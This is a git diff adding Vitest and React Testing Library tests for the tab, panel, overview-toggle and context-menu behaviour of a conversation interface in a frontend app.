index 0000000000000000000000000000000000000000..5d6cd92535055e74bc4abec1c354caa32932914c
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-overview-toggle.test.tsx
@@ -0,0 +1,126 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationOverviewToggle } from "#/components/features/conversation/conversation-overview-toggle";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const { breakpointIsMobile } = vi.hoisted(() => ({
+ breakpointIsMobile: { value: false },
+}));
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+ useBreakpoint: () => breakpointIsMobile.value,
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+ useIsArchivedConversation: () => false,
+}));
+
+vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({
+ ConversationOverviewPanel: () => (
+
+ ),
+}));
+
+describe("ConversationOverviewToggle", () => {
+ beforeEach(() => {
+ breakpointIsMobile.value = false;
+ useConversationStore.setState({
+ isOverviewPanelShown: false,
+ isOverviewPanelPeeked: false,
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ });
+ });
+
+ it("toggles the overview panel when clicked", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await user.click(screen.getByTestId("conversation-overview-toggle"));
+ expect(useConversationStore.getState().isOverviewPanelShown).toBe(true);
+
+ await user.click(screen.getByTestId("conversation-overview-toggle"));
+ expect(useConversationStore.getState().isOverviewPanelShown).toBe(false);
+ });
+
+ it("closes the files drawer and shows overview when the files drawer is open", async () => {
+ const user = userEvent.setup();
+ useConversationStore.setState({
+ isOverviewPanelShown: false,
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+ render( );
+
+ await user.click(screen.getByTestId("conversation-overview-toggle"));
+
+ const state = useConversationStore.getState();
+ expect(state.isRightPanelShown).toBe(false);
+ expect(state.hasRightPanelToggled).toBe(false);
+ expect(state.isOverviewPanelShown).toBe(true);
+ });
+
+ it("closes the overview panel when the right drawer opens", () => {
+ useConversationStore.setState({
+ isOverviewPanelShown: true,
+ isRightPanelShown: false,
+ });
+
+ const { rerender } = render( );
+ expect(useConversationStore.getState().isOverviewPanelShown).toBe(true);
+
+ useConversationStore.setState({ isRightPanelShown: true });
+ rerender( );
+
+ expect(useConversationStore.getState().isOverviewPanelShown).toBe(false);
+ });
+
+ it("peeks the overview on hover while the right drawer is open", async () => {
+ const user = userEvent.setup();
+ useConversationStore.setState({
+ isOverviewPanelShown: false,
+ isRightPanelShown: true,
+ });
+ render( );
+
+ await user.hover(screen.getByTestId("conversation-overview-toggle"));
+
+ expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true);
+ expect(useConversationStore.getState().isOverviewPanelShown).toBe(false);
+ expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("conversation-overview-panel"),
+ ).toBeInTheDocument();
+ });
+
+ it("does not peek the overview on hover when the right drawer is closed", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ await user.hover(screen.getByTestId("conversation-overview-toggle"));
+
+ expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(false);
+ expect(
+ screen.queryByTestId("conversation-overview-peek"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("stays visible and supports hover peek on smaller screens", async () => {
+ const user = userEvent.setup();
+ breakpointIsMobile.value = true;
+ useConversationStore.setState({
+ isOverviewPanelShown: false,
+ isRightPanelShown: true,
+ });
+ render( );
+
+ const toggle = screen.getByTestId("conversation-overview-toggle");
+ expect(toggle).toBeInTheDocument();
+
+ await user.hover(toggle);
+
+ expect(useConversationStore.getState().isOverviewPanelPeeked).toBe(true);
+ expect(screen.getByTestId("conversation-overview-peek")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx b/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..38b8fc7e5c3f777e9237a3481a56c65c73cf87f5
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tab-content-crossfade.test.tsx
@@ -0,0 +1,15 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { ConversationTabContentCrossfade } from "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content-crossfade";
+
+describe("ConversationTabContentCrossfade", () => {
+ it("renders the tab content when not loading", () => {
+ render(
+
+
+ ,
+ );
+
+ expect(screen.getByTestId("tab-child")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-tab-content.test.tsx b/__tests__/components/features/conversation/conversation-tab-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bae5fb21e53cddf777456dc04a574d588d3eaaa2
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tab-content.test.tsx
@@ -0,0 +1,280 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+import { ConversationTabContent } from "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content";
+import {
+ useConversationStore,
+ ConversationTab,
+} from "#/stores/conversation-store";
+
+// Mock useConversationId hook
+let mockConversationId = "test-conversation-id-123";
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useConversationId: () => ({
+ conversationId: mockConversationId,
+ }),
+}));
+
+
+
+// Mock lazy-loaded components
+vi.mock("#/routes/files-tab", () => ({
+ default: () => Files Tab Content
,
+}));
+
+// Control for lazy loading test
+let pendingBrowserTab: { promise: Promise; resolve: () => void } | null = null;
+vi.mock("#/routes/browser-tab", () => ({
+ default: () => {
+ if (pendingBrowserTab) {
+ throw pendingBrowserTab.promise;
+ }
+ return Browser Tab Content
;
+ },
+}));
+
+vi.mock("#/routes/planner-tab", () => ({
+ default: () => (
+ Planner Tab Content
+ ),
+}));
+
+vi.mock("#/components/features/terminal/terminal", () => ({
+ default: () => (
+ Terminal Tab Content
+ ),
+}));
+
+// Mock ConversationLoading component
+vi.mock("#/components/features/conversation/conversation-loading", () => ({
+ ConversationLoading: () => (
+ Loading...
+ ),
+}));
+
+describe("ConversationTabContent", () => {
+ let queryClient: QueryClient;
+
+ const createWrapper = () => {
+ return ({ children }: { children: React.ReactNode }) => (
+
+ {children}
+
+ );
+ };
+
+ const setSelectedTab = (tab: ConversationTab | null) => {
+ useConversationStore.setState({ selectedTab: tab });
+ };
+
+ beforeEach(() => {
+ queryClient = new QueryClient({
+ defaultOptions: {
+ queries: {
+ retry: false,
+ },
+ },
+ });
+ // Reset store state
+ useConversationStore.setState({ selectedTab: "files" });
+ // Reset conversation ID
+ mockConversationId = "test-conversation-id-123";
+ });
+
+ afterEach(() => {
+ vi.clearAllMocks();
+ queryClient.clear();
+ });
+
+ describe("Rendering", () => {
+ it("should render files tab content by default", async () => {
+ setSelectedTab("files");
+
+ render( , { wrapper: createWrapper() });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+ });
+ });
+
+ it("should render files tab when selectedTab is null", async () => {
+ setSelectedTab(null);
+
+ render( , { wrapper: createWrapper() });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+ });
+ });
+ });
+
+ describe("Tab switching", () => {
+ it("should render browser tab when selected", async () => {
+ setSelectedTab("browser");
+
+ render( , { wrapper: createWrapper() });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+ });
+ });
+
+ it("should render terminal tab when selected", async () => {
+ setSelectedTab("terminal");
+
+ render( , { wrapper: createWrapper() });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+ });
+ });
+
+ it("should render planner tab when selected", async () => {
+ setSelectedTab("planner");
+
+ render( , { wrapper: createWrapper() });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("planner-tab-content")).toBeInTheDocument();
+ });
+ });
+ });
+
+ describe("Tab key behavior", () => {
+ it("should remount terminal when conversation ID changes", async () => {
+ setSelectedTab("terminal");
+
+ const { rerender } = render( , {
+ wrapper: createWrapper(),
+ });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+ });
+
+ // Get reference to the terminal DOM node
+ const terminalBefore = screen.getByTestId("terminal-tab-content");
+
+ // Change conversation ID
+ mockConversationId = "test-conversation-id-456";
+
+ // Rerender to pick up the new conversation ID
+ rerender( );
+
+ await waitFor(() => {
+ expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+ });
+
+ // Get new reference
+ const terminalAfter = screen.getByTestId("terminal-tab-content");
+
+ // If key includes conversation ID, component should remount = different DOM node
+ expect(terminalBefore).not.toBe(terminalAfter);
+ });
+
+ it("should NOT remount non-terminal tabs when conversation ID changes", async () => {
+ setSelectedTab("browser");
+
+ const { rerender } = render( , {
+ wrapper: createWrapper(),
+ });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+ });
+
+ // Get reference to the browser DOM node
+ const browserBefore = screen.getByTestId("browser-tab-content");
+
+ // Change conversation ID
+ mockConversationId = "test-conversation-id-789";
+
+ // Rerender
+ rerender( );
+
+ await waitFor(() => {
+ expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+ });
+
+ // Get new reference
+ const browserAfter = screen.getByTestId("browser-tab-content");
+
+ // If key does NOT include conversation ID, component should NOT remount = same DOM node
+ expect(browserBefore).toBe(browserAfter);
+ });
+ });
+
+ describe("Lazy loading", () => {
+ afterEach(() => {
+ pendingBrowserTab = null;
+ });
+
+ it("should show loading fallback while component is loading", async () => {
+ let resolveFn: () => void;
+ pendingBrowserTab = {
+ promise: new Promise((resolve) => {
+ resolveFn = resolve;
+ }),
+ resolve: () => {
+ pendingBrowserTab = null; // Clear first so re-render doesn't throw again
+ resolveFn();
+ },
+ };
+
+ setSelectedTab("browser");
+
+ render( , { wrapper: createWrapper() });
+
+ // Verify loading fallback is shown
+ expect(screen.getByTestId("conversation-loading")).toBeInTheDocument();
+
+ // Resolve to load the component
+ pendingBrowserTab!.resolve();
+
+ // Verify content appears
+ await waitFor(() => {
+ expect(screen.getByTestId("browser-tab-content")).toBeInTheDocument();
+ });
+ });
+ });
+
+ describe("Tab state persistence", () => {
+ it("should render content based on store state", async () => {
+ // First render with files tab
+ setSelectedTab("files");
+
+ const { rerender } = render( , {
+ wrapper: createWrapper(),
+ });
+
+ await waitFor(() => {
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+ });
+
+ // Change the store state
+ setSelectedTab("terminal");
+
+ // Rerender
+ rerender( );
+
+ await waitFor(() => {
+ expect(screen.getByTestId("terminal-tab-content")).toBeInTheDocument();
+ });
+ });
+ });
+
+ describe("Suspense boundary", () => {
+ it("should wrap tab content in Suspense boundary", async () => {
+ setSelectedTab("files");
+
+ render( , { wrapper: createWrapper() });
+
+ // The component should render without throwing
+ await waitFor(() => {
+ expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
+ });
+ });
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..53dacf79d7ef0ff02c17451e4937d3c82d059d6f
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tabs-context-menu.test.tsx
@@ -0,0 +1,173 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { ConversationTabsContextMenu } from "#/components/features/conversation/conversation-tabs/conversation-tabs-context-menu";
+import { useConversationStore } from "#/stores/conversation-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+ ACTIVE_BACKEND_STORAGE_KEY,
+ BACKENDS_STORAGE_KEY,
+} from "#/api/backend-registry/storage";
+import type { Backend } from "#/api/backend-registry/types";
+
+const CONVERSATION_ID = "conv-abc123";
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: CONVERSATION_ID }),
+ useConversationId: () => ({ conversationId: CONVERSATION_ID }),
+}));
+
+let mockHasTaskList = false;
+vi.mock("#/hooks/use-task-list", () => ({
+ useTaskList: () => ({
+ hasTaskList: mockHasTaskList,
+ taskList: [],
+ }),
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+ useIsArchivedConversation: () => false,
+}));
+
+function seedActiveBackend(backend: Backend): void {
+ localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([backend]));
+ localStorage.setItem(
+ ACTIVE_BACKEND_STORAGE_KEY,
+ JSON.stringify({ backendId: backend.id, orgId: null }),
+ );
+ __resetActiveStoreForTests();
+}
+
+describe("ConversationTabsContextMenu", () => {
+ beforeEach(() => {
+ localStorage.clear();
+ __resetActiveStoreForTests();
+ mockHasTaskList = false;
+ useConversationStore.setState({
+ selectedTab: "files",
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+ });
+
+ it("should render nothing when isOpen is false", () => {
+ const { container } = render(
+ ,
+ );
+
+ expect(container.innerHTML).toBe("");
+ });
+
+ it("should render all default tabs when open", () => {
+ render( );
+
+ const expectedTabs = [
+ "COMMON$FILES",
+ "DIFF_VIEWER$COMMITS",
+ "COMMON$TERMINAL",
+ "COMMON$BROWSER",
+ // Local planning is now supported, so the Planner tab is a default tab.
+ "COMMON$PLANNER",
+ ];
+ for (const tab of expectedTabs) {
+ expect(screen.getByText(tab)).toBeInTheDocument();
+ }
+
+ expect(screen.queryByText("FILES$DIFF_VIEW")).not.toBeInTheDocument();
+ });
+
+ it("should show the Planner entry when the active backend is cloud", () => {
+ seedActiveBackend({
+ id: "cloud-test",
+ name: "Cloud Test",
+ host: "https://app.example.com",
+ apiKey: "secret",
+ kind: "cloud",
+ });
+
+ render(
+
+
+ ,
+ );
+
+ expect(screen.getByText("COMMON$PLANNER")).toBeInTheDocument();
+ });
+
+ it("should open a tab from the label button without changing pin state", async () => {
+ const user = userEvent.setup();
+
+ render( );
+
+ await user.click(screen.getByTestId("conversation-tabs-menu-open-terminal"));
+
+ expect(useConversationStore.getState().selectedTab).toBe("terminal");
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+ );
+ expect(storedState.unpinnedTabs).toEqual([]);
+ });
+
+ it("should re-pin a tab when clicking the pin control on an unpinned tab", async () => {
+ const user = userEvent.setup();
+
+ render( );
+
+ await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal"));
+ let storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+ );
+ expect(storedState.unpinnedTabs).toContain("terminal");
+
+ await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal"));
+ storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+ );
+ expect(storedState.unpinnedTabs).not.toContain("terminal");
+ });
+
+ it("should switch to another pinned tab when unpinning the currently active tab via pin control", async () => {
+ const user = userEvent.setup();
+
+ render( );
+
+ expect(useConversationStore.getState().selectedTab).toBe("files");
+
+ await user.click(screen.getByTestId("conversation-tabs-menu-pin-files"));
+
+ const storeState = useConversationStore.getState();
+ expect(storeState.hasRightPanelToggled).toBe(true);
+ // Planner is first in the tab order, so it becomes active when files unpins.
+ expect(storeState.selectedTab).toBe("planner");
+
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+ );
+ expect(storedState.unpinnedTabs).toContain("files");
+ expect(storedState.selectedTab).toBe("planner");
+ });
+
+ it("should not close the right panel when unpinning a non-active tab", async () => {
+ const user = userEvent.setup();
+
+ render( );
+
+ await user.click(screen.getByTestId("conversation-tabs-menu-pin-terminal"));
+
+ const storeState = useConversationStore.getState();
+ expect(storeState.hasRightPanelToggled).toBe(true);
+ });
+
+ describe("with tasklist", () => {
+ beforeEach(() => {
+ mockHasTaskList = true;
+ });
+
+ it("should show tasklist in context menu when hasTaskList is true", () => {
+ render( );
+
+ expect(screen.getByText("COMMON$TASK_LIST")).toBeInTheDocument();
+ });
+ });
+});
diff --git a/__tests__/components/features/conversation/conversation-tabs.test.tsx b/__tests__/components/features/conversation/conversation-tabs.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..f65df72e749cdaf273817758e529e233cbca0efc
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-tabs.test.tsx
@@ -0,0 +1,674 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+import { ConversationTabs } from "#/components/features/conversation/conversation-tabs/conversation-tabs";
+import { useConversationStore } from "#/stores/conversation-store";
+import { AgentState } from "#/types/agent-state";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+ ACTIVE_BACKEND_STORAGE_KEY,
+ BACKENDS_STORAGE_KEY,
+} from "#/api/backend-registry/storage";
+import type { Backend } from "#/api/backend-registry/types";
+
+const TASK_CONVERSATION_ID = "task-ec03fb2ab8604517b24af632b058c2fd";
+const REAL_CONVERSATION_ID = "conv-abc123";
+
+let mockConversationId = TASK_CONVERSATION_ID;
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: mockConversationId }),
+ useConversationId: () => ({ conversationId: mockConversationId }),
+}));
+
+let mockHasTaskList = false;
+vi.mock("#/hooks/use-task-list", () => ({
+ useTaskList: () => ({
+ hasTaskList: mockHasTaskList,
+ taskList: [],
+ }),
+}));
+
+const mockRefetchGitChanges = vi.fn();
+let mockIsFetchingGitChanges = false;
+vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({
+ useUnifiedGetGitChanges: () => ({
+ refetch: mockRefetchGitChanges,
+ isFetching: mockIsFetchingGitChanges,
+ data: [],
+ }),
+}));
+
+const mockHandleBuildPlanClick = vi.fn();
+vi.mock("#/hooks/use-handle-build-plan-click", () => ({
+ useHandleBuildPlanClick: () => ({
+ handleBuildPlanClick: mockHandleBuildPlanClick,
+ }),
+}));
+
+let mockCurAgentState = AgentState.AWAITING_USER_INPUT;
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: () => ({ curAgentState: mockCurAgentState }),
+ usePlanningAgentState: () => ({
+ localPlanningConversationId: null,
+ curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+ isPlanningAgentRunning: false,
+ }),
+}));
+
+vi.mock("#/hooks/query/use-unified-vscode-url", () => ({
+ useUnifiedVSCodeUrl: () => ({
+ data: { url: "http://localhost:8001", error: null },
+ isLoading: false,
+ refetch: vi
+ .fn()
+ .mockResolvedValue({ data: { url: "http://localhost:8001" } }),
+ }),
+}));
+
+const createWrapper = (conversationId: string) =>
+ function ({ children }: { children: React.ReactNode }) {
+ return (
+
+
+ {children}
+
+
+ );
+ };
+
+const seedConversationState = (
+ conversationId: string,
+ overrides: Record = {},
+) => {
+ localStorage.setItem(
+ `conversation-state-${conversationId}`,
+ JSON.stringify({
+ selectedTab: "files",
+ unpinnedTabs: [],
+ unpinnedOverviewSections: [],
+ unpinnedOverviewGitParts: [],
+ conversationMode: "code",
+ subConversationTaskId: null,
+ draftMessage: null,
+ ...overrides,
+ }),
+ );
+};
+
+function seedActiveBackend(backend: Backend): void {
+ localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify([backend]));
+ localStorage.setItem(
+ ACTIVE_BACKEND_STORAGE_KEY,
+ JSON.stringify({ backendId: backend.id, orgId: null }),
+ );
+ __resetActiveStoreForTests();
+}
+
+const setActiveTabState = (tab: "files" | "planner") => {
+ seedConversationState(REAL_CONVERSATION_ID, {
+ selectedTab: tab,
+ rightPanelShown: true,
+ });
+ useConversationStore.setState({
+ selectedTab: tab,
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+};
+
+describe("ConversationTabs localStorage behavior", () => {
+ beforeEach(() => {
+ localStorage.clear();
+ __resetActiveStoreForTests();
+ vi.resetAllMocks();
+ mockRefetchGitChanges.mockReset();
+ mockHandleBuildPlanClick.mockReset();
+ mockConversationId = TASK_CONVERSATION_ID;
+ mockHasTaskList = false;
+ mockIsFetchingGitChanges = false;
+ mockCurAgentState = AgentState.AWAITING_USER_INPUT;
+ useConversationStore.setState({
+ selectedTab: null,
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ planContent: null,
+ });
+ });
+
+ describe("task-prefixed conversation IDs", () => {
+ it("should not create localStorage entries for task-prefixed conversation IDs", () => {
+ render( , {
+ wrapper: createWrapper(TASK_CONVERSATION_ID),
+ });
+
+ expect(
+ localStorage.getItem(`conversation-state-${TASK_CONVERSATION_ID}`),
+ ).toBeNull();
+ });
+ });
+
+ describe("consolidated localStorage key", () => {
+ it("should use a single consolidated key for tab state", async () => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ const user = userEvent.setup();
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ const changesTab = screen.getByTestId("conversation-tab-files");
+ await user.click(changesTab);
+
+ const consolidatedKey = `conversation-state-${REAL_CONVERSATION_ID}`;
+ const storedState = localStorage.getItem(consolidatedKey);
+ expect(storedState).not.toBeNull();
+
+ const parsed = JSON.parse(storedState!);
+ expect(parsed).toHaveProperty("selectedTab");
+ expect(parsed).toHaveProperty("unpinnedTabs");
+ expect(parsed.rightPanelShown).toBe(true);
+ });
+ });
+
+ describe("hook integration", () => {
+ it("should open panel and select tab when clicking a tab while panel is closed", async () => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ const user = userEvent.setup();
+
+ // Arrange: Panel is closed, no tab selected
+ useConversationStore.setState({
+ selectedTab: null,
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // Act: Click the terminal tab
+ const terminalTab = screen.getByTestId("conversation-tab-terminal");
+ await user.click(terminalTab);
+
+ // Assert: Panel should be open and terminal tab selected.
+ expect(useConversationStore.getState().selectedTab).toBe("terminal");
+ expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!,
+ );
+ expect(storedState.selectedTab).toBe("terminal");
+ expect(storedState.rightPanelShown).toBe(true);
+ });
+
+ it("should close panel when clicking the same active tab", async () => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ const user = userEvent.setup();
+
+ // Arrange: Panel is open with editor tab selected
+ seedConversationState(REAL_CONVERSATION_ID, {
+ selectedTab: "files",
+ rightPanelShown: true,
+ });
+ useConversationStore.setState({
+ selectedTab: "files",
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // Act: Click the editor tab again
+ const editorTab = screen.getByTestId("conversation-tab-files");
+ await user.click(editorTab);
+
+ // Assert: Panel should be closed and persisted.
+ expect(useConversationStore.getState().hasRightPanelToggled).toBe(false);
+
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!,
+ );
+ expect(storedState.rightPanelShown).toBe(false);
+ });
+
+ it("should switch to different tab when clicking another tab while panel is open", async () => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ const user = userEvent.setup();
+
+ // Arrange: Panel is open with editor tab selected
+ seedConversationState(REAL_CONVERSATION_ID, {
+ selectedTab: "files",
+ rightPanelShown: true,
+ });
+ useConversationStore.setState({
+ selectedTab: "files",
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // Act: Click the browser tab
+ const browserTab = screen.getByTestId("conversation-tab-browser");
+ await user.click(browserTab);
+
+ // Assert: Browser tab should be selected, panel still open
+ expect(useConversationStore.getState().selectedTab).toBe("browser");
+ expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+ // Verify localStorage was updated
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${REAL_CONVERSATION_ID}`)!,
+ );
+ expect(storedState.selectedTab).toBe("browser");
+ });
+ });
+
+ describe("tab action buttons", () => {
+ beforeEach(() => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ });
+
+ it("no longer renders the refresh button in the top tab bar (it now lives inside the Files tab toolbar)", () => {
+ setActiveTabState("files");
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ // The old conversation-tabs refresh button used aria-label "COMMON$FILES"
+ // on a top-bar . Our `conversation-tab-files` button uses a
+ // different DOM shape, so any matching that aria-label here
+ // would be the legacy refresh button.
+ const buttons = Array.from(
+ document.querySelectorAll('button[aria-label="COMMON$FILES"]'),
+ );
+ // The only remaining match should be the tab nav itself (a button with
+ // data-testid conversation-tab-files), if anything. There must be no
+ // standalone refresh button.
+ const refreshButtons = buttons.filter(
+ (b) => b.getAttribute("data-testid") !== "conversation-tab-files",
+ );
+ expect(refreshButtons).toHaveLength(0);
+ });
+
+ it("places the Files tab leftmost, followed by Commits", () => {
+ setActiveTabState("files");
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ const tabs = Array.from(
+ document.querySelectorAll('[data-testid^="conversation-tab-"]'),
+ );
+ const testIds = tabs.map((t) => t.getAttribute("data-testid"));
+ // Files must be the first tab; Commits sits beside it as the git view.
+ expect(testIds[0]).toBe("conversation-tab-files");
+ expect(testIds).toContain("conversation-tab-commits");
+ expect(testIds).not.toContain("conversation-tab-changes");
+ expect(testIds.indexOf("conversation-tab-files")).toBeLessThan(
+ testIds.indexOf("conversation-tab-commits"),
+ );
+ });
+
+ it("keeps Files leftmost even when the task list tab is present", () => {
+ setActiveTabState("files");
+ mockHasTaskList = true;
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ const tabs = Array.from(
+ document.querySelectorAll('[data-testid^="conversation-tab-"]'),
+ );
+ const testIds = tabs.map((t) => t.getAttribute("data-testid"));
+ expect(testIds[0]).toBe("conversation-tab-files");
+ // Task list should still be visible, just not first.
+ expect(testIds).toContain("conversation-tab-tasklist");
+ });
+
+ it("shows an unpinned tab in the bar while it is selected", () => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ // Planner is cloud-only, so a cloud backend is required to exercise
+ // the unpinned-while-selected logic against the planner tab.
+ seedActiveBackend({
+ id: "cloud-test",
+ name: "Cloud Test",
+ host: "https://app.example.com",
+ apiKey: "secret",
+ kind: "cloud",
+ });
+ seedConversationState(REAL_CONVERSATION_ID, {
+ selectedTab: "planner",
+ unpinnedTabs: ["planner"],
+ rightPanelShown: true,
+ });
+ useConversationStore.setState({
+ selectedTab: "planner",
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ screen.getByTestId("conversation-tab-planner"),
+ ).toBeInTheDocument();
+ });
+
+ it("hides an unpinned tab from the bar once another tab is selected", () => {
+ mockConversationId = REAL_CONVERSATION_ID;
+ // Cloud backend so the planner tab would be eligible — it stays
+ // hidden here because it is unpinned and not the selected tab.
+ seedActiveBackend({
+ id: "cloud-test",
+ name: "Cloud Test",
+ host: "https://app.example.com",
+ apiKey: "secret",
+ kind: "cloud",
+ });
+ seedConversationState(REAL_CONVERSATION_ID, {
+ selectedTab: "files",
+ unpinnedTabs: ["planner"],
+ rightPanelShown: true,
+ });
+ useConversationStore.setState({
+ selectedTab: "files",
+ isRightPanelShown: true,
+ hasRightPanelToggled: true,
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ screen.queryByTestId("conversation-tab-planner"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("conversation-tab-files")).toBeInTheDocument();
+ });
+
+ it("does not show the build button when the planner tab is inactive", () => {
+ setActiveTabState("files");
+ useConversationStore.setState({
+ planContent: "# Plan content",
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ screen.queryByTestId("planner-tab-build-button"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the build button when the planner tab is active", async () => {
+ setActiveTabState("planner");
+ useConversationStore.setState({
+ planContent: "# Plan content",
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ await screen.findByTestId("planner-tab-build-button"),
+ ).toBeInTheDocument();
+ });
+
+ it("disables the build button when there is no plan content", async () => {
+ setActiveTabState("planner");
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ await screen.findByTestId("planner-tab-build-button"),
+ ).toBeDisabled();
+ });
+
+ it("disables the build button when the agent is running", async () => {
+ mockCurAgentState = AgentState.RUNNING;
+ setActiveTabState("planner");
+ useConversationStore.setState({
+ planContent: "# Plan content",
+ });
+
+ render( , {
+ wrapper: createWrapper(REAL_CONVERSATION_ID),
+ });
+
+ expect(
+ await screen.findByTestId("planner-tab-build-button"),
+ ).toBeDisabled();
+ });
+
